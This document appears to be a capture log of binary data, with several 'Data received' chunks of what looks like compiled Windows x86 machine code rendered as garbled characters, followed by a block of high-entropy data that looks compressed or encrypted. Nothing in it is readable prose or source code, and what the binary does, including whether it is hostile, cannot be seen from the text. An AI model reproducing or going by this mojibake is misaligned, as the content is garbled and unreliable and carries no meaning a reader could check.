Data received ‹ñ‹ƒé3ÀW‹99At 9A } P‹Îè+ûÿÿëèjpÿÿ‹‹ÏÿP ƒÀ‰_^ËÿU‹ì‹‹PôƒèV‹u;Ö~‹òƒx ~Vèiþÿÿë$‹@;Æ}‹Ð¸;Ð~ÐëÒ;Ö}‹ÖRè­þÿÿ^]‹ÿV‹ñN Ç4 誙þÿƒNÿƒf‹Æ^ËÿU‹ìQSWj‹Ùè rÿÿY…Àt ‹ÈèÄÿÿÿ‹øë3ÿV‹5„âjjjEüPÿÖPÿsÿÖPÿˆâ^…Àu…ÿt ‹j‹ÏÿPÿs ÿ@ãPèü[‹Eü‰G‹C‰G‹Ç_[ÉËÿU‹ìV‹ñ‹3ɃèA+H ‹@+E È} ÿu‹Îèöþÿÿ‹^]ÂÇŒ ‹Iƒéé9oÿÿ‹ÿU‹ìƒì‹M VW¿3öW‰uøèxÿÿ‰EðEøPh´ ‰}ô‹=(àh€‰uìÿׅÀu`SEüPÿu‰uüÿuøÿ׋,à…Àu@EPh¤ ÿuü‰uÿׅÀu&EôPÿuðEìPVhAÿuÿ0àÿu‹ð÷ÞöFÿÓÿuüÿÓÿuøÿÓ[‹M jÿè°vÿÿ_‹Æ^É‹ÿU‹ì‹M VW¾VèówÿÿV‹øjWèGájÿÿuVWè½æÿÿƒÄWÿ¤ã‹M jÿèhvÿÿ_^]‹ÿU‹ìSVÿu ‹Ùÿuèrÿÿ‹ðYY…öt*W·>W‹Ëè¡þÿÿ·QƒÆVWPè3ùÿÿƒÄW‹Ëè¹øÿÿ3À@_^[]‹ÿU‹ìV‹ñ‹NƒéÇŒ èÜmÿÿöEtVè/pÿÿY‹Æ^]Âh¸ Âè ‹ñ‰µäýÿÿÇ4 3ÿƒ~ÿ‰}üÆEü„º9~„±è^üÿÿ駍èýÿÿè*—þÿ‹µàýÿÿ‹3ÿWhìýÿÿQ‹ÎÆEüÿP …Àt)…ìýÿÿPjoh¼ h ý…èýÿÿhüüPè‚.ÿÿƒÄë joh¼ h ý…èýÿÿhðüPè`.ÿÿƒÄWW‹½èýÿÿWè<ôÿÿOðÆEüèólÿÿ‹j‹ÎÿP¸ œ˵äýÿÿ‹N ƒéèÓlÿÿè}ÿËÿU‹ìƒ}VW‹ùt ÿuè¨÷ÿÿY‹ðë3ö‹Ï…ö~Vè+ýÿÿjÿÿuVPè£÷ÿÿƒÄV‹ÏèF÷ÿÿëèóûÿÿ‹Ç_^]‹ÿU‹ìVÿu‹ñèÂôÿÿ…Àt ÿu‹ÎPèþÿÿ^]‹ÿU‹ìV‹ñè„þÿÿöEtVèŸnÿÿY‹Æ^]‹ÿU‹ì3À9Et÷Eÿÿu ·EPèœÿÿÿ°]‹ÿU‹ìV‹u…ötÿ@ãP‰F è×Tÿu N‰Fèøxÿÿ^]ÂhX¸ÓÂèòý‹}‹E ‹]3Ʌÿ•Á‰…¨þÿÿ…Éuè3ɅÀ•Á…Étð¤þÿÿQW¾VPÿtâ…Àu%jÿÿµ¨þÿÿVWèåãÿÿƒÄÿµ¨þÿÿSèaÿÿÿ3Àé;Ær…Ûtñÿµ¨þÿÿKÇCè_xÿÿëڍ¬þÿÿèó”þÿƒeü…¬þÿÿPWè«üÿÿÿµ¬þÿÿÿ”ã…À…¾PP þÿÿQœþÿÿQPPPÿµ¬þÿÿÿxâ…Àuÿµ¨þÿÿSèÜþÿÿ‹¬þÿÿƒÁðèájÿÿéhÿÿÿö… þÿÿuWÿ`äö… þÿÿuc…°þÿÿPÿµ¨þÿÿÿ|âƒøÿtKPÿ€âƒ½¤þÿÿt 9½¤þÿÿv˜…ÜþÿÿPÿX㋍¤þÿÿ+ÏÁ;Æ}1…ÜþÿÿP+ñVÿµ¤þÿÿèºóÿÿƒÄ ‹¬þÿÿƒÁðèRjÿÿ3À@èêü …Û„Pÿÿÿÿµ¨þÿÿKÇCè9wÿÿé6ÿÿÿ‹ÿU‹ìjÿu ÿuè/þÿÿ]‹ÿU‹ìì¡˜)3ʼnEü‹EVW‹} ¾VøþÿÿQPÿÄâV‹ÏèWsÿÿVP…øþÿÿPÿpâ…Àu…øþÿÿP‹ÏèPtÿÿjÿ‹ÏèÍqÿÿ‹Mü_3Í^èØÉÂj¸ÃèDû‹ñ‰uðèíP‹ÎèÂøÿÿÿuƒeü‹Îè8ýÿÿ„Àu ÿu‹Îè•üÿÿ‹ÆèçûÂj¸)Ãèû‹ñ‰uðè~‹ÏÇŒ èâ’þÿ‹Eÿuƒeü‰F‹E ‹Ï‰F è'vÿÿ‹Æèû ‹ÿU‹ìì ¡˜)3ʼnEü‹ES‹] V‹ñƒfƒNÿW‰…ôþÿÿ‹E~ ‹Ï‰…ìþÿÿãÿÿÿ觗þÿƒ½ôþÿÿ„djhÿµôþÿÿèüóÿÿ…ÀŒJÿµìþÿÿ…øþÿÿÿµôþÿÿPè¤üÿÿ…À„I…øþÿÿP‹Ïè sÿÿj‹ÃZ3É#Â+Á‰ðþÿÿtHtHu"DžðþÿÿÀëDžðþÿÿ@ë Džðþÿÿ€‹Ãƒàpj_tƒøtƒø tJƒø0t@ƒø@t3ҋÃÁè÷Ð#ÇDžàþÿÿ ‰äþÿÿ‰…èþÿÿ÷Ãt‹Ã% ÷ØÀƒà@@ë jZë‹×ë¾jX¹€÷Ãt¹€ ÷ÃtÉ€÷ÃtÉ÷ÃtÉjQP…àþÿÿPRÿµðþÿÿÿµôþÿÿÿlâƒøÿuÿµôþÿÿÿµìþÿÿèOûÿÿë)‰F‰~‹Çë!‹…ìþÿÿ…ÀtÿµôþÿÿHÇ@èFtÿÿ3À‹Mü_^3Í[è™ÕÉ ‹ÿU‹ìì¡˜)3ʼnEü‹E ¶HVQ¶HQ¶H Q¶H Q¶H Q¶H Q¶H Q¶H‹uƒ¥øþÿÿQ·HQ·HQÿ0…üþÿÿhô hPè+üƒÄ8…üþÿÿP‹Î趐þÿ‹Mü‹Æ3Í^è ÕÉÂj¸WÃè=ø‹ñ‰uðN Ç4 è&þÿƒNÿ3ÀPjÿPM܉Eüè ýÿÿEÜPÿu ‹ÎÿuÆEüè>ýÿÿ…ÀuÿuìÿuèÿuäèfR‹MìƒÁðÇE܌ è(fÿÿ‹Æè­øÂj¸¯ÑèÆ÷ÿu‹uƒ&EðPèÜþÿÿƒeüM褏þÿEPÿuðÆEüè«öÿÿ…Àu#‹MƒÁðèÕeÿÿ‹MðƒÁðèÊeÿÿ¸T€èLø ‹}WèêŽÿÿY…Àu¾T€Oðè¢eÿÿ‹MðƒÁðè—eÿÿ‹ÆëÎh( Pÿ<ã…Àt Vÿu ÿuÿЋðë̾ù€ëŋÿU‹ìQƒeüV‹u…öu¸W€ë@ƒ&EüPh°cÿuè$ÿÿÿ…À|(‹Eü…Àu¸@€ë‹Vÿuÿu
Data received ÿÿöEtVè8wþÿY‹Æ^]Âh¸‚Ëè‹ñ‰µäýÿÿÇì.‹NX3ۉ]üÆEü;Ët‹jÿP‹Žˆ;Ët‹jÿPèèøþÿ8Xu.‹ üX;Ët ‹jÿP‰üX‹ øX;Ët ‹jÿP‰øX‹Fp;ÃtPèºH‹Ft;ÃtPè­H·†f;ÃtPÿÜâ·†’f;ÃtPÿÜ⋎Œ;Ët‹jÿPè_øþÿ‹H;NPu‰X9pu‰XÿvPè²ïÿvTèªïÿv`è¢ïÿvdèšïÿvhè’ïƒÄ‰^,魍èýÿÿè]ýÿ‹µàýÿÿ‹3ÛShìýÿÿQ‹ÎÆEüÿP …Àt,…ìýÿÿPh"h¸/h ý…èýÿÿhüüPè²4þÿƒÄë#h"h¸/h ý…èýÿÿhðüPè4þÿƒÄ‹½èýÿÿSSWèiúþÿOðÆEüè sþÿ‹j‹ÎÿP¸ß•˵äýÿÿƒMüÿ‹ÎèÿÿèªËÿU‹ìV‹ñèþÿÿöEtVè@uþÿY‹Æ^]‹ÿU‹ì‹ÁH‹ƒzôu]éÐþÿ‹PWƒúu-H‹9ƒôu_ëãƒúuH ‹9ƒôtí;Òu H$‹ƒxôtÞ_]Âj¸²Ëè.‹ñƒ} ÿut#Mèwœýÿÿuƒeü‹Îèœöÿÿ‹MƒÁðèNrþÿëènÿÿÿÿu‹ÎèýÿÿèÄ ƒyXt‹IX‹ÿ`4ÃyXuéÿÿ‹IX‹ÿ`8‹ÿU‹ìƒyXuègÿÿ‹IX‹]ÿ`,‹ÿU‹ìƒyXuèNÿÿ‹IX‹]ÿ`ƒyXu3ÀËIX‹ÿ`‹ÿU‹ìƒyXuè$ÿÿ‹IX‹]ÿ`j¸ßËè_‹ñ‹}‹G3ÉA3ۉMð;Ä%;Á„ ŽAƒø޹ƒø„¢ƒøtUƒø…!‹‹Îÿ„9_ujÿS;Ãth ñëh ñèÉøþÿ‰]ð9žŒ…ëj(èXsþÿY‹È‰MÇEüë)‹‹Îÿ€‰]ð9žŒ…¼j(è)sþÿY‹È‰M‰]ü;ËtèEûÿÿë3À‰†ŒÇ@鍋FL‰†Œ‰^L닉^L‹GP‹Îÿ’ˆ…Àtg‹F ‰¾Œ;ÃuèÿÿSháhÿp ÿ剞Œë9‹‹W‹Îÿˆ…Àë%èÊôþÿ‹@‹SSShá‹ÈÿR …Àu‹Îèþÿÿ9^ u‰]ð‹EðèÈÂj¸—¾èá‹ñƒ~Xu%j èNrþÿY‹È‰Mðƒeü…Étè?®ë3ÀƒMüÿ‰FX‹NXÿu‹ÿP è|Âh$¸Ìè1‹E ‹uPÜþÿÿ‰µÔþÿÿè6qþÿ3ÿ‰}üþ€uQèÆìþÿƒøuG…ÜþÿÿP…àþÿÿhð/Pè÷þÿƒÄ PÜþÿÿÆEüèÔ±ýÿ‹àþÿÿƒÁðÆEüèroþÿDžÔþÿÿ€…ØþÿÿPÿµÜþÿÿÿµÔþÿÿÿ(à‹ð;÷…¾h…äþÿÿPWÿµØþÿÿÿà‹ð;÷uo…äþÿÿPàþÿÿÆEüè ™ýÿ…àþÿÿPÿµØþÿÿÆEüè ÿÿÿ‹àþÿÿ‹ð;÷•ÃÁðÆEüèánþÿ„Ûu&‰}ü듋ÐþÿÿDžàþÿÿèÿÿ¸3š˵àþÿÿþtþòuÿµÜþÿÿÿµÔþÿÿÿà‹ðÿµØþÿÿÿ,à‹ÜþÿÿƒÁðèynþÿ‹Æè!Âj¸SÌè‹ù3öf9·…f9·’…‚Mìèí—ýÿ‰uüè–òþÿ‹@MìQPèÿÿÿuìÿ¨ãPMðè&˜ýÿMðÆEüèowþÿPÿ ãjÿMðèvþÿÿuð‹5ÔâÿÖh0f‰‡ÿ֋MðƒÁðf‰‡’èÎmþÿ‹MìƒÁðèÃmþÿèJÃh$¸ÌèËÿ3ÿ‹ñ‰½àþÿÿ‰½Ôþÿÿè¸ûÿÿ‰…Øþÿÿ;Çt&…ØþÿÿP‹Îè±ûÿÿ;Çt ‹WWjüW‹ÈÿR 9½ØþÿÿuÚ9~T„ 3À9~h•À;Çuè³ÿÿh 0äþÿÿèO—ýÿÿvTäþÿÿ‰}üèµxþÿhÄ+…äþÿÿP…ÐþÿÿP規ýÿÿvhÆEüP…ÜþÿÿP蒏ýÿƒÄ‹ÐþÿÿƒÁðÆEüèílþÿ…ÜþÿÿP¾€Vèîüÿÿ…àþÿÿPÿµäþÿÿVÿ(à…Àu9h…èþÿÿPWÿµàþÿÿÿà=u …äþÿÿPVè©üÿÿÿµàþÿÿÿ,à…ÔþÿÿP…èþÿÿPÿµÜþÿÿVÿà‹ÜþÿÿƒÁðèalþÿ‹äþÿÿƒÁðèSlþÿ3À@èëþËÿU‹ìVW‹}‹ñ…ÿtƒÿt ƒÿÿtèÿÿƒ=”ZtòjèªO¾€ƒ¾€~!ÿ5”Zÿä…ÿ~$ƒ¾€u‰†„ëÿ¶„ƒ¦€ÿäjèÒO_^]ƒyXt‹IX‹ÿ` 3À@ËÿU‹ìƒ}uè ÿÿˆƒ8t ‹‹‹È]ÿb]‹ÿU‹ìƒyXuèäÿÿ‹IX‹]ÿ`‹ÿU‹ìƒyXt ‹IX‹]ÿ`$]‹ÿU‹ì‹Á‹M…Éuè°ÿÿˆƒ8u‹jÿë ‹‹Q‹ÈÿR ]‹ÿU‹ìƒyXt ‹IX‹]ÿ`03À]‹ÿU‹ì‹E…À|;A|è`ÿÿ‹I]‹A jjjÿp ÿåËÿVW‹ñ‹N 3ÿWèhåþÿ‹F Wÿp ÿÈã‹N jWWWWh Wèæþÿ_^ËÿU‹ìV‹ñ‹ŽˆW…Éuè÷ÿÿ‹Eºá;Ârï‹yú;Çs捸ðÿÿWè`ÿÿÿ‹‹P‹Îÿ’ˆ…Àu ‹Žˆ‹Wÿ3À_@^]‹ÿU‹ìVÿu‹ñÿuÿu ÿuèÏÁƒfhÇL0‹Æ^]‹Ah÷ØÀËÿU‹ì‹U3Àƒ:ÿu‹Ahƒ"]‹ÿU‹ìVW‹}W‹ñèö½‰~h_^]‹ÿU‹ìVÿu‹ñè콃fh^]¸,0ËÿU‹ìV‹ñÇL0臿öEtVèlþÿY‹Æ^]Âj¸¼ÒèIû‹ñMðè;“ýÿ‹ƒeüjMðQ
Data received ‹ÎÿPd…Àt ‹EðƒxôuhðMðè×sþÿ…Àuè»ÿÿ‹Mÿuð‹ÿPP‹MðƒÁðèAiþÿèÈûÂj¸¿Ìèáú‹ù‹wh3ۉ]ð‰]ì;ót‹‹Îÿ…Àu3ÀéWèçwþÿ‰Eðë‹ÿPl‹ðÇEì;óujÿShñèiðþÿëÎ9]ðu5‹^LƒfL‹jV‹ÏÿPp‰Eð‰^L…ÀujÿPhñè:ðþÿ‹j‹ÎÿPë–3Û9]u<‹V‹Ïÿ„9] uÇFP‹‹ÎÿPp…À…¢9]ì„`ÿÿÿ‹Mð‹ÿP`éSÿÿÿM 茒þÿ‹‹Î‰]üÿPX‹Ø‹j‹ÎÿP\ÿu‹‹ÎÿPt…ÀuG9Eìt ‹Mð‹ÿP`ë'‹‹ÎÿPX…Àu ‹S‹ÎÿP\ë‹V‹Ïÿ„‹‹ÎÿPpƒMüÿM è×Ïþÿéáþÿÿ‹jÿu‹ÎÿPTƒMüÿM èºÏþÿ3Ûè,ÿÿ9]ìt 9X u‹Mð‰H ÿu ‹Vÿuð‹ÏÿPt‹Æè7ú‹ÿU‹ìV‹ñÿvTègãÿuèòÿvh‰FTèTãÿvPè߃ĉFh^]‹ÿU‹ìƒìSVWEüP3ÿ¾VWhØ0‹Ùh€‰]ì‰}ô‰}ü‰}øÿ à…Àu7EðPEøPWVWWWÿsT‹àÿuüÿӅÀuEðPEôP‹EìWVWWWÿphÿuøÿӋ5,à9}ütÿuüÿÖ9}øtÿuøÿ֋Eô_^[ÉËÿU‹ìQQV3öW‰uüèZÿÿÿ‹ø;þu3Àë%EøPEüPVhVVVÿuWÿàWÿ,à‹Eü_^É‹ÿU‹ìQQƒyTVtFÿuè¢ÿÿÿ‹ð…öu‹EëEWEPEüPEøPjÿu ÇEVÿ0àV‹øÿ,à…ÿ_u͋Eüëÿqhÿuÿu ÿuÿ â^É ‹ÿU‹ìƒì¡˜)3ʼnEüS‹] V‹ñƒ~TW‹}t0Wè$ÿÿÿ‹ð…ötIjEPjjSVÿ àV‹øÿ,à3À…ÿ”Àë%ÿuEìh`jPè:ûƒÄÿvhEìPSWÿâ‹Mü_^3Í[èÔÉ ‹ÿU‹ìƒyTVWtsƒ} uèþÿÿ‹ð…öu3ÀëpÿuVÿàë@ÿuèŽþÿÿƒ}‹ðu…ötÜÿu Vÿàë …ötÌÿuÿXã@Pÿujjÿu Vÿ àV‹øÿ,à3À…ÿ”Àëÿqhÿuÿu ÿuÿâ_^] ‹ÿU‹ìjÿhåÌd¡P¸ 计˜)3ʼnEðSVWPEôd£‹}‹U‹E ‹]3ö‰½èïÿÿ‰•äïÿÿ‰µÜïÿÿ9qT„äPèÉýÿÿ‰…Øïÿÿ;Æu ÿµäïÿÿéûìïÿÿè8Žýÿ‹=0à…àïÿÿPV…ÔïÿÿPVSÿµØïÿÿ‰uü‰µÔïÿÿ‰µàïÿÿÿ׉…Üïÿÿ;Æu=ÿµàïÿÿìïÿÿèÀmþÿàïÿÿQP…ÔïÿÿPVSÿµØïÿÿÿ×jÿìïÿÿ‰…Üïÿÿè4lþÿÿµØïÿÿÿ,à‹èïÿÿ9µÜïÿÿu"…ìïÿÿPè]eþÿ‹ìïÿÿƒÁðèßcþÿ‹…èïÿÿëHÿµäïÿÿè܍ýÿëÝ;Öu DžäïÿÿAÿqhðïÿÿhQÿµäïÿÿSPÿ⍅ðïÿÿP‹Ï衍ýÿ‹Ç‹Môd‰ Y_^[‹Mð3ÍèèÑÉ‹ÿ`|‹ÿU‹ìQV‹ñ‹ÿP`‰Eü…Àt"‹MüQ‹ÎÿPd‹ÈèÝ«þÿ…ÀtƒxXƒ}üuދ‹Îÿ^ÉÂ3À@ëö‹ÿV‹ñ‹ÿ…Àt‹‹Î^ÿ`|^Ëÿ œ‹jjÿ˜Ã‹ÿU‹ìƒ} V‹u‹‹ÎtÿPDëÿPL‹j‹ÎÿP^]‹ÿU‹ìVW‹}‹ñWN,è@K‰wT‹‹ÎÿPh_^]‹ÿU‹ìS‹]VW‹ñj~,S‹Ïè]JP‹ÏèJƒcT‹‹ÎÿPh_^[]‹ÿU‹ìVÿu‹ñÿuÿu ÿuèÆÔþÿ…Àt3À@ë ƒ~(tÿu‹N(ÿu‹ÿu ÿuÿP …ÀuÝ3À^]¸ 1ËÿV‹ñƒ~8tW~,‹ÏèjIƒ`Tƒ~8uï_^Ãy8u ƒyLt‹ÿ`|‹ÿ  ‹ÿU‹ìQQSV‹ñ‹WÿP`3ۉEü;Ãt.‹MüQ‹ÎÿPd‹øÿw ÿ4å…Àt‹ÏèCªþÿ;ÃtƒHXÿ9]üuҋ‹Î‰]øÿP`‰Eü;Ãt9‹MüQ‹ÎÿPd‹øÿw ÿ4å…Àt‹Ïèªþÿ;ÃtƒxXÿu ÿEø‹Mø‰HX9]üuNj3ۋÎCÿP`‰Eü…ÀtG‹MüQ‹ÎÿPd‹øÿw ÿ4å…Àt'‹Ï躩þÿ…Àt9XXuƒ}øuƒ`X‹j‹Èÿ’xCƒ}üu¹_^[ÉËÿV‹ñÿv$ÿâj‹Î¨t‹jÿ˜…Àu^ËF$‹Pÿ’˜ëì3À@^ËÿU‹ìQV‹ñ‹FLƒfLƒ~8‰Eüt+W‹F0‹Hè1©þÿ‹ø…ÿt8‹W‹Îÿ”‹‹ÏÿP`ƒ~8u×_‹Eü‰FL‹‹ÎÿPlƒ~Lt ‹j‹ÎÿP^ÉÃè¼ ÿÿ̋A0ËÿU‹ì‹Eƒ8u3Àë PƒÁ,è†Ûþÿ]‹ÿU‹ìVÿu‹ñ‹PèÚYY…ÀuƒÈÿë+^]‹ÿV‹ñ‹ÿPlN$èގýÿ‹j‹ÎÿP\3À@^Ãj¸+Íè˜ñ‹ñ‰uðè¦ÔþÿƒeüN è~‰ýÿN$èv‰ýÿj N,ÆEüè³Gƒf(ƒfHƒfPÇFL‹Æè*òÃj¸oÍèEñ‹ñ‰uðÇEüè\ýÿÿƒ~(t ‹N(‹VÿP`N,ÆEüèˆG‹N$ƒéèZ_þÿ‹N ƒéèO_þÿƒMüÿ‹Îè8ÔþÿèËñËÿV‹ñèMîþÿ‹Fƒxô^tPèÁèþÿÃj¸¼ÒèËð‹ñF PMðèy`þÿ3ÿ‹Î‰}üèÑíþÿ‹F‹]ð9xôt9hp ÿ4ãhx1Pÿ<ã;Çt‹NWWWWQSÿЅÀuSè_èþÿSÿvè.èþÿKðè±^þÿè8ñËÿV‹ñè”îþÿNÇŒ1èCˆýÿ‹Æ^ËÿV‹ñ‹Nƒéè^þÿ‹Î^é¯ðþÿj¸—¾èðjè”`þÿY‹È‰Mðƒeü…Ét è¦ÿÿÿ‹ðë3öÿu‹ÿu ƒMüÿÿu‹ÎÿP …Àu ‹j‹ÎÿP3ö‹Æè­ð ‹ÿU‹ìV‹
Data received ÇŒ@ÿÿÿƒø7ÿÿÿÿu3ÒBé¡þÿÿ‹v3ÿ;÷Œÿÿÿƒþÿÿÿƒþ ‹U‹’˜ë‹’œ‹E è…ûÿÿ3À@_^[ÉËÿU‹ìƒì ¡˜)3ʼnEü‹E SV‹u3Û+ÃWtHt‹¾¨ë‹¾¤ë‹¾ ƒ¾°‹E„þƒ} ‹ áu‹ áºlfPSf‰Uàf‹PfBf‰Uâf‹P f‰Uæf‹Pf‰Uèf‹Pf‹f‰EìS3ÀWf‰EîEàPSÿ¶¬‰Môf‰UêÿщEð;Ä’ƒÀ=èk*‹Ä;ÃtÇÌÌëPèÌóÿÿY;Ãt ÇÝ݃À‰Eø;ÃtZÿuð‹ØSWEàPjÿ¶¬ÿUôH…À~!‹u‹Mƒ>v‹‰EðŠˆÿ‹EðCÿH…Àåÿuøè+úÿÿY3À@eÔ_^[‹Mü3ÍèËæÿÿÉÊ„Àtå‹]‹uƒ;tÚ3҉Uø‹ÏAB8tú‰Mô¾Èƒùd‚„Nƒù'„؃ùA„›ƒùHt~ƒùMtOƒùa„ˆÿuQè¥YY…Àtƒ;vG€8„šŠ‹ˆÿÿ ‹øŠ‹ˆÿGÿ Š„À…sÿÿÿéMÿÿÿ‹ÂHtHtHt Hu¬°Bé<°bé5ÇEø°mé'‹ÂHtHt ë†ÇEø°HéhhJWèP¤YY…ÀuƒÇëhdJWè:¤YY…ÀuƒÇ‰}ô°péÛúö„pÿÿÿŠ„À„Âþÿÿƒ;„]ÿÿÿ<'tEÿu¾ÀPè2¤YY…Àtƒ;vG€8„¹Š‹ˆÿÿ ‹ø‹ŠˆÿGÿ Š„Àu³éÿÿÿGéÿÿÿ‹ÂHtHtHtH…Åþÿÿ°AéU°aéNÇEø°dé@‹Áƒèh„ƒè„þƒè„ÝHt%ƒè…€þÿÿ‹ÂHHtHH…rþÿÿ°Yé°yéû‹Eƒx ‹E‹¸˜ë‹¸œƒú…Šƒ;†¾ÿuPèH£YY…Àtƒ;vG€8„ÏŠ‹ˆÿÿ ‹ø‹Šˆÿÿ 鬃;†£ÿu¾ÀPè£YY…Àtƒ;vG€8„ˆŠ‹ˆÿÿ ‹øŠ‹ˆÿGÿ Š„Àu·ëa‹ÂHtHt é¢ýÿÿÇEø°Së.‹ÂHtHt éŠýÿÿÇEø°Më‹ÂHtHt érýÿÿÇEø°Iÿuø‹Uÿu‹ÎSÿuèÍ÷ÿÿƒÄ…Àt‹}ôé}ýÿÿ3ÀéÕüÿÿ‹ÿU‹ìƒì ‹ESÿu3ۍMà‰]ø‰Eðèzèÿÿ‹E;Ãu+è SSSSSÇèÉ\ƒÄ8]ìt‹Eèƒ`pý3ÀéPW‹} ;ûu+èÖ SSSSSÇè–\ƒÄ8]ìt‹Eèƒ`pý3ÀéV‹uˆ;ó„ç‹E;Ãu ‹Eà‹€Ô‰Eô‰}ü;û†ŸŠ:Ãty<%tAMà¾ÀQP蔡YY…Àt3ÉA9MüvF8tpŠ‹Uˆ ÿEÿMü‹ðŠ‹MˆÿEFÿMüë/‹U;ÓtwF3À€>#u@FPÿuôEüPEàPŠMè•öÿÿƒÄ…ÀtBF9]üw9]üv‹Eˆ+}ü‹Ç8]ìt\‹MèƒapýëS‰Mø‹Eðˆ9]øu 9]üwèÑ Ç"ë&9]üvßÇEøëÖè¶ SSSSSÇèv[ƒÄ8]ìt‹Eèƒ`pý3À^_[ÉËÿU‹ìjjÿuÿuÿu ÿuèBþÿÿƒÄ]ËÿU‹ìƒìS3ÛV‹u‰]ø‰]ô‰]ü;óuèP j^SSSSS‰0è[ƒÄ‹Æé;Wj$hÿVèæÿÿ‹} ƒÄ ;ûuè j^SSSSS‰0èÛZƒÄë(‹G;Ë|;Ërƒø|ùÿo@“vèãj^‰0‹ÆéÚè0ŸEøPè—Y…Àt SSSSSèbYƒÄEôPè:—Y…Àt SSSSSèGYƒÄEüPèX—Y…Àt SSSSSè,YƒÄ‹E ‹H;ˋ?|nÿ€ôvd‹Eü™+øEìPÊV‰}ì‰MðèşYY;Ã…L9]ø„AVèçžY…À„2‹Eô™)EìEìPUðV菟YY;Ã…ÇF éPVèrŸYY;Ã…ù9]øt2V蘞Y…Àt'‹Mô‹EüÁ™‹È‹Â‰E‹™‹ø+ù‹M‹ÚÙÇF ë‹™‹ø‹Eü‹Ú™+øÚjj<SWè`¡‰…À} ƒÀ<ƒÇĉƒÓÿjj<SWè¤1‹ø‹F‹Ú™jøj<ÚSWè-¡‰F…À} ƒÀ<ƒÇĉFƒÓÿjj<SWèo1‹ø‹F‹Ú™jøjÚSWèø ‰F…À} ƒÀƒÇè‰FƒÓÿjjSWè:1‹È…Ò|+…Év‹FÁj™_÷ÿN ‰VN3À_^[ÉÅÒõ|…Ésï‹FD™j_÷ÿN ‹F ‰V…ÀҁÁmNƒÀÿN‰F ÇF ëºÿ5xfè£@Y…ÀtÿÐjèërjjè¢ƒÄ éü ‹ÿU‹ì‹E VWƒøu|Pè!rY…Àu3ÀéèžD…Àuè7rëéè©ÿ$᣸yèÒ§£L]èó¡…À}èAëÏèý¦…À| è|¤…À|jèð"Y…Àu ÿH]é¨è¤ëÉ3ÿ;Çu19=H]~ÿ H]9=ˆ]uè$9}u{èá£èµ@è¦qëjƒøuYèS@hjè2…‹ðYY;÷„6ÿÿÿVÿ5P,ÿ5¨]èŽ?YÿЅÀtWVè©@YYÿÌâƒNÿ‰ëVèOëÿÿYéúþÿÿƒøuWè+CY3À@_^] j h8Ãè5‹ù‹ò‹]3À@‰Eä…öu 9H]„Ńeü;ðtƒþu.¡pJ…ÀtWVSÿЉEäƒ}ä„–WVSèrþÿÿ‰Eä…À„ƒWVSèYýÿ‰Eäƒþu$…Àu WPSèEýÿWjSèBþÿÿ¡pJ…ÀtWjSÿЅötƒþu&WVSè"þÿÿ…Àu!Eäƒ}ät¡pJ…ÀtWVSÿЉEäÇEüþÿÿÿ‹Eäë‹Eì
Data received ¤üŽàrúãߪ?n §q“T‹N€0†5@ÓrøkôŸ®( °Ïœ‘ʖ聇ª"%’Ú+öùœÖǚ1ÿJŒ…A`ÁH`Kþmƒ—iä ñcÉâÈà NÏZ þCs4âÓ0ëò?C4z©ãm0x¨Š<ä7Á®庐é84›f¤:ÅbN]¡˜'ãrÞ4‚Á\#p*®Ù]ȳ¨‰¦±Ñ¥‘@9}õ†l‹ZHƒÁߺŨq0ø²YñXÔøL|hokÈ4à Q>‚!Å]'?ÖIË|œé­DeSÓA!WÊ¿¹·©j$Í^…Cú „ÉÉyՌ?âT ò”ZN™àïü«4Vœž†¶=Ä? Á‹f²[{à4yÑ) .å֐jÉ5õR¨•€*r:E8†Šõíï'TÇ»)&äOÛ+K~B‰H‚ÖÂ2Ã1¸zÂ&ÊŸ¹ŽÏèÛ;’Ýϐ»çªìWh8¤û!‡@»–|JbKMËGœ¸‰nkã™ÎQh °kú(£Ð˜„oXiy^Œ^lPA¸øº¯ '‡(ÖŠÎ*hÉc9‰ôŽDbÆSÆùƒrai7³¹£hv›så2)ó}æ!ÄéÞ¢ãpÕ×éaV!øà‚?×Ñ(=?‰Y“”´âÎ!›>\2Œ\Õþ8Õ¹’waMS&æaäû^YrÐ'’]¤ók•LªÍXeìmÑ+接Ú÷·ä¦ß &¤} ¤¯§º㥠4Eª¥ à¸Ø†èeòؒ-ÌÑò¡vÒ.ZC­çˆ¥´¾ö˦oƒ XDݺÃqƒþñq"ê¡xÞÌ`é'ÜBùviH;¡«æäÅöîM@—t£r7]ìl¨oxì9A=Š{-'±U•´ån´‘—쪁ÍÍՑŽY¨ÍK úÀHT!râOÌˆÎuCöKþMªVtøÒ)¸®*7,Y~!‹@ˆ-ì ٟªÿÇ«f)ëì ENÌ8Œ>ýcŠW 3»9<“ŠJmÈÒÏáîì#ÝêÇ4Û~:ÛõdÿÍéfîfñ$j)'¡Ý/âè??#ɼ©h -Vñ¹5õ)Cê Âá'–PÃÀ^ˆ¢Þ"ñUåiž^uÆñÙ±òàÉãoúŒ%/ƒ†M#—wI»Ý²áq8ñ‹ö¨Ýè»/xœ җÁ§Â̇À**4&•OJ6³Xð*¤–•Å—ÂüÜÁ½õÅÑä åW|¨xifìi/Á}ÙÈèñ)8\}"¦>™ÏVu>™mÜ q2=›B=¹’ac¦üޮɞ#"'ÍÊÙÇ¥³‘3E™ÙÌÒ|W@_iy¿Žùÿ@tਹ )ÿS•𠇫€qãÙ^h³ñ¥èHR³^ÌT(/¶÷°åì¥ÜÝ Õm.Ӕϔ ×-Î °é¹Aƒ¤ù±I©îµpõ /| J:*û4™&ÉóVºõŽëTÓ× d·Œ˜­œ*C-ÕÅ¢ÓàuI¸C õ„"fçñW˜€ÜA|•º¸H­àŸâ÷mù¹n6äKæL)Ùÿǖ½h³%Ée¿Î ì 'ÚI‡ ª–Ψ°w²Íìè¹Þn‘ 0WB‡É.,Œ‹¹ñDÒ~Çõ'Øot7>‹Aü‘"&¯W'"Þ)ò'ùåëgÖJÌ)ˆ‘YwºÞ ç±$d–ßÈ¥vèÒ-)OVå硆’fW#Hï;*„°)ÑTDœ€)OÚ®scl“àJF°ÇµN󃈎ñ$¥¢³8À#ˆ/I®eÎØ¼š¤¢±fQ8r_¢§]teü¶¨ü %›ííX.º]µ Ô:sgÒkµä³ åÒ(R.klp-ôm.-`‚ªžK…ýŽS@匳Q}ß¡ó& ÆC¼¥Õ©O;Zl(àä\jÇ.ü û¹Ü/‘2^óúÔb% ̖íCô[Ûg›¸Æ/ðpnâ’(ds@zp«÷ &øãÕ¦¡ù "ÉFâÇù ÀÖrüt¬µÍù¯%÷¬ŠZß%1ü¡¯Ó³]ÈR÷1‹›{$ÀÃGÎí㼨^q$¾Õuù‘¯ƒÆáõØ~´X Oh 